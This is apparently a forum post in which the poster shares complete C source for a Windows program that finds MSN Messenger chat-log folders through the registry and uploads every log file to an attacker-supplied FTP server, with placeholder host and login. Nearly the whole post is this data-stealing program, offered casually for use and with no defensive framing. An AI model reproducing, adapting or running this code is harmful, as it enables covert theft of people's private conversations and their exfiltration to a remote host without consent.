lol, i took the time to make this progy, that steals msn messenger logs and uploads'em to your ftp.
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass);
int main()
{
int x=0;
char buff[256],
temp[256],
*regpath = "Software\\Microsoft\\MSNMessenger\\PerPassportSettings\\";
HKEY hkey,hSub;
if(RegOpenKeyA(HKEY_CURRENT_USER,regpath,&hkey)==ERROR_SUCCESS)
{
while(RegEnumKeyA(hkey,x,buff,sizeof buff)==ERROR_SUCCESS)
{
memset(temp,0,sizeof temp);
sprintf(temp,"%s%s",regpath,buff);
memset(buff,0,sizeof buff);
if(RegOpenKeyExA(HKEY_CURRENT_USER,temp,0,KEY_QUERY_VALUE,&hSub)==ERROR_SUCCESS)
{
DWORD nType = REG_SZ,nSize;
if(RegQueryValueExA(hSub,"MessageLogPath",0,&nType,(LPBYTE)buff,&nSize)==ERROR_SUCCESS) {
if(SendDirectoryToFTP(buff,"YOURFTP.com",21,"YourFTPUsername","YourFtpPassword"))
puts("Files sucessfully uploaded.");
else puts("Error uploading the directory to your FTP. Wrong username/password ?");
RegCloseKey(hSub);
}
}
x++;
memset(buff,0,sizeof buff);
} x=0;
RegCloseKey(hkey);
} else puts("Windows Live Messenger not installed.");
getchar();
}
bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass)
{
HINTERNET hInet,hCon;
hInet = InternetOpen("fUploader",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hInet) return 0; // Neki error, whatever...
char dir[strlen(fulldir)+1],
tempf[strlen(fulldir)+1];
sprintf(dir,"%s\\*",fulldir);
WIN32_FIND_DATA fd;
HANDLE h = FindFirstFileA(dir,&fd);
if(FindNextFile(h,&fd)) {
hCon = InternetConnectA(hInet,ftpserver,port,hUser,hPass,INTERNET_SERVICE_FTP,0,0);
if(hCon) {
while(FindNextFileA(h,&fd)) {
sprintf(tempf,"%s\\%s",fulldir,fd.cFileName);
puts(tempf);
if(hCon)
if(!FtpPutFileA(hCon,tempf,fd.cFileName,FTP_TRANSFER_TYPE_ASCII,0))
return false;
}
} else return false;
} else return false; // Directory doesn't exist.
InternetCloseHandle(hInet);
InternetCloseHandle(hCon);
return true; // Directory exist.
}